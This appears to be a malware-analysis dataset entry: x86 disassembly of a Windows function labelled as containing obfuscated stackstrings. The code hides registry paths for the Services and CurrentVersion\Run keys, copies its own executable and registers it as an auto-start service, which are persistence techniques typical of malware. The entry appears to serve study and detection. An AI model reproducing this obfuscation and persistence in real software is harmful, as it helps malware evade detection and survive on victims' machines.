Function at 0x40fa50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc74
push ebx
push ebp
push esi
push edi
call dword [0x418364]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [0x418124]
push eax
call dword [0x418368]
push ebx
push ebx
lea eax, [esp + 0x60]
push ebx
push eax
call dword [0x418390]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x885]
mov byte [esp + 0x884], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x485]
mov byte [esp + 0x484], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1d0
push 0x41ca08
stosb byte es:[edi], al
call fcn.0040f010
push 0xca
push 0x41c938
call fcn.0040f010
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x28d]
mov byte [esp + 0x28c], bl
rep stosd dword es:[edi], eax
add esp, 0x10
lea ecx, [esp + 0x27c]
stosw word es:[edi], ax
push 0x104
push ecx
push 0x41ca6c
stosb byte es:[edi], al
call dword [0x418140]
lea edi, [esp + 0x27c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x41ca6c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41ca6c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + 0x41ca6b], 0x5c
jne 0x40f688
mov edi, 0x41ca6c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov byte [ecx + 0x41ca6a], bl
mov ebp, dword [0x418278]
push 0x41cad0
lea eax, [esp + 0x1c]
push 0x41ca6c
push eax
push 0x41f7e0
mov byte [esp + 0x28], 0x25
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x25
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], bl
call ebp
mov cl, 0x72
mov al, 0x65
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3b], al
mov byte [esp + 0x42], cl
mov byte [esp + 0x46], al
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], cl
mov byte [esp + 0x4f], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x391]
mov byte [esp + 0x390], bl
rep stosd dword es:[edi], eax
mov esi, dword [0x41838c]
mov dl, 0x53
mov byte [esp + 0x30], dl
mov byte [esp + 0x32], dl
mov byte [esp + 0x45], dl
mov byte [esp + 0x49], dl
stosw word es:[edi], ax
lea ecx, [esp + 0x30]
push 0x41ca08
lea edx, [esp + 0x394]
push ecx
push edx
mov byte [esp + 0x3d], 0x59
mov byte [esp + 0x3f], 0x54
mov byte [esp + 0x40], 0x45
mov byte [esp + 0x41], 0x4d
mov byte [esp + 0x42], 0x5c
mov byte [esp + 0x43], 0x43
mov byte [esp + 0x44], 0x75
mov byte [esp + 0x48], 0x6e
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x43
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x6e
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4f], 0x6f
mov byte [esp + 0x50], 0x6c
mov byte [esp + 0x53], 0x74
mov byte [esp + 0x54], 0x5c
mov byte [esp + 0x58], 0x76
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x63
mov byte [esp + 0x5c], 0x73
mov byte [esp + 0x5d], 0x5c
mov byte [esp + 0x5e], 0x25
mov byte [esp + 0x5f], 0x73
mov byte [esp + 0x60], bl
stosb byte es:[edi], al
call esi
push ebx
push 0x64
push ebx
push 0x41f5e8
push 1
lea eax, [esp + 0x3b0]
push 0x41d0e4
push eax
push 0x80000002
call fcn.00408860
mov eax, dword [0x41cbd0]
add esp, 0x3c
cmp eax, ebx
je 0x40f871
lea ecx, [esp + 0x10]
push 0x41ca08
push ecx
push 0x41f5e8
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], bl
call ebp
lea edx, [esp + 0x2c]
push 0x41f5e8
lea eax, [esp + 0x494]
push edx
push eax
call esi
push ebx
push 0x400
lea ecx, [esp + 0x8a4]
push ebx
push ecx
push 1
lea edx, [esp + 0x4b0]
push 0x41d0f0
push edx
push 0x80000002
call fcn.00408860
add esp, 0x38
lea eax, [esp + 0x884]
push eax
call dword [0x4181b0]
test eax, eax
jne 0x40f856
push 0x41f5e8
call fcn.0040eb30
add esp, 4
mov word [0x41f5d4], bx
call fcn.0040ed60
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc74
ret 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x179]
mov byte [esp + 0x178], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x178]
push 0x104
push ecx
push ebx
stosb byte es:[edi], al
call dword [0x418134]
mov edi, 0x41f7e0
lea esi, [esp + 0x178]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x40f8d3
cmp al, bl
je 0x40f8cf
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x40f8d3
add esi, 2
add edi, 2
cmp al, bl
jne 0x40f8ab
xor eax, eax
jmp 0x40f8d8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40f942
mov esi, dword [0x4181c8]
push 0x1f4
mov dword [esp + 0x4c], 0x41f5e8
mov dword [esp + 0x50], 0x40f3f0
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov word [0x41f5d4], 1
call esi
mov edi, dword [0x41801c]
lea edx, [esp + 0x48]
push edx
call edi
push 0x3e8
call esi
lea eax, [esp + 0x48]
push eax
call edi
mov word [0x41f5d4], 2
call fcn.0040f3d0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc74
ret 0x10
mov ecx, 0x19
xor eax, eax
mov edi, 0x41f5e8
push 0x41f5e8
rep stosd dword es:[edi], eax
push 0xd
call fcn.0040f400
push 0x41f64c
push 0xf
call fcn.0040f400
push 0x41f6dc
push 0x1b
call fcn.0040f400
push 0x41f5e8
push 0x41ca08
call fcn.0040f460
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x95]
mov byte [esp + 0x94], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41cad0
lea ecx, [esp + 0x34]
push 0x41ca6c
lea edx, [esp + 0x9c]
push ecx
push edx
mov byte [esp + 0x40], 0x25
mov byte [esp + 0x41], 0x73
mov byte [esp + 0x42], 0x5c
mov byte [esp + 0x43], 0x25
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], bl
stosb byte es:[edi], al
call ebp
push 0x41f5e8
call fcn.0040eb30
push 0x41f6dc
push 0x41f64c
lea eax, [esp + 0xb0]
push 0x41f5e8
push eax
call 0x40fa50
mov ebp, dword [0x418300]
add esp, 0x44
xor edi, edi
xor esi, esi
push 0x41cad0
call fcn.0040ba80
add esp, 4
test eax, eax
jne 0x40fa3b
inc edi
cmp edi, 0xbb8
jb 0x40fa06
push 5
push ebx
lea ecx, [esp + 0x7c]
push ebx
push ecx
push 0x41d0b0
push ebx
xor edi, edi
call ebp
inc esi
cmp esi, 3
jae 0x40fa48
jmp 0x40fa06
cmp dword [0x41cbcc], ebx
je 0x40fa48
call fcn.0040e1a0
push ebx
call dword [0x4180d8]
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418530
push 0x4159d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x460
push ebx
push esi
push edi
mov byte [ebp - 0x358], 0x25
mov byte [ebp - 0x357], 0x73
mov byte [ebp - 0x356], 0
push 0x104
lea eax, [ebp - 0x460]
push eax
push 0
call dword [0x418134]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x358]
push edx
lea eax, [ebp - 0x324]
push eax
call dword [0x418278]
lea edi, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea edx, [ebp - 0x324]
push edx
call dword [0x418298]
add esp, 0x18
test eax, eax
je 0x40fb3e
lea eax, [ebp - 0x324]
push eax
call fcn.0040eaa0
add esp, 4
push 0
lea ecx, [ebp - 0x324]
push ecx
lea edx, [ebp - 0x460]
push edx
call dword [0x418144]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x460]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x324]
lea edx, [ebp - 0x460]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x1388
call dword [0x4181c8]
mov byte [ebp - 0x354], 0x53
mov byte [ebp - 0x353], 0x4f
mov byte [ebp - 0x352], 0x46
mov byte [ebp - 0x351], 0x54
mov al, 0x57
mov byte [ebp - 0x350], al
mov byte [ebp - 0x34f], 0x41
mov byte [ebp - 0x34e], 0x52
mov byte [ebp - 0x34d], 0x45
mov bl, 0x5c
mov byte [ebp - 0x34c], bl
mov byte [ebp - 0x34b], 0x4d
mov byte [ebp - 0x34a], 0x69
mov byte [ebp - 0x349], 0x63
mov dl, 0x72
mov byte [ebp - 0x348], dl
mov cl, 0x6f
mov byte [ebp - 0x347], cl
mov byte [ebp - 0x346], 0x73
mov byte [ebp - 0x345], cl
mov byte [ebp - 0x344], 0x66
mov byte [ebp - 0x343], 0x74
mov byte [ebp - 0x342], bl
mov byte [ebp - 0x341], al
mov byte [ebp - 0x340], 0x69
mov al, 0x6e
mov byte [ebp - 0x33f], al
mov byte [ebp - 0x33e], 0x64
mov byte [ebp - 0x33d], cl
mov byte [ebp - 0x33c], 0x77
mov byte [ebp - 0x33b], 0x73
mov byte [ebp - 0x33a], bl
mov byte [ebp - 0x339], 0x43
mov byte [ebp - 0x338], 0x75
mov byte [ebp - 0x337], dl
mov byte [ebp - 0x336], dl
mov byte [ebp - 0x335], 0x65
mov byte [ebp - 0x334], al
mov byte [ebp - 0x333], 0x74
mov byte [ebp - 0x332], 0x56
mov byte [ebp - 0x331], 0x65
mov byte [ebp - 0x330], dl
mov byte [ebp - 0x32f], 0x73
mov byte [ebp - 0x32e], 0x69
mov byte [ebp - 0x32d], cl
mov byte [ebp - 0x32c], al
mov byte [ebp - 0x32b], bl
mov byte [ebp - 0x32a], 0x52
mov byte [ebp - 0x329], 0x75
mov byte [ebp - 0x328], al
mov byte [ebp - 0x327], 0
xor ebx, ebx
push ebx
lea edi, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [ebp - 0x324]
push ecx
push 1
push 0x41f5e8
lea edx, [ebp - 0x354]
push edx
push 0x80000002
call fcn.00408f20
add esp, 0x1c
mov dword [ebp - 0x35c], ebx
mov dword [ebp - 0x468], ebx
xor edi, edi
mov dword [ebp - 0x464], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x418060]
mov esi, eax
mov dword [ebp - 0x464], esi
cmp esi, edi
je 0x40fe33
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x460]
push eax
push edi
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push esi
call dword [0x418004]
mov ebx, eax
mov dword [ebp - 0x468], ebx
push esi
call dword [0x418008]
mov edi, eax
mov dword [ebp - 0x470], edi
mov dword [ebp - 0x46c], 0x41f64c
lea eax, [ebp - 0x46c]
push eax
push 1
push ebx
call dword [0x41800c]
push edi
call dword [0x418010]
test ebx, ebx
jne 0x40fd89
call dword [0x41817c]
cmp eax, 0x431
jne 0x40fd89
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
push esi
call dword [0x418014]
mov ebx, eax
mov dword [ebp - 0x468], ebx
test ebx, ebx
je 0x40fe33
push 0
push 0
push ebx
call dword [0x418018]
push 0
push 0
push ebx
call dword [0x418018]
test eax, eax
je 0x40fe33
lea edx, [ebp - 0x11c]
mov edi, 0x41d10c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0x80000002
call dword [0x418020]
mov esi, dword [ebp + 0x14]
push esi
call dword [0x4181b0]
push eax
push esi
push 1
push 0
push 0x41d100
mov edx, dword [ebp - 0x35c]
push edx
call dword [0x418050]
mov esi, dword [ebp - 0x464]
mov dword [ebp - 4], 0xffffffff
call fcn.0040fe5c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret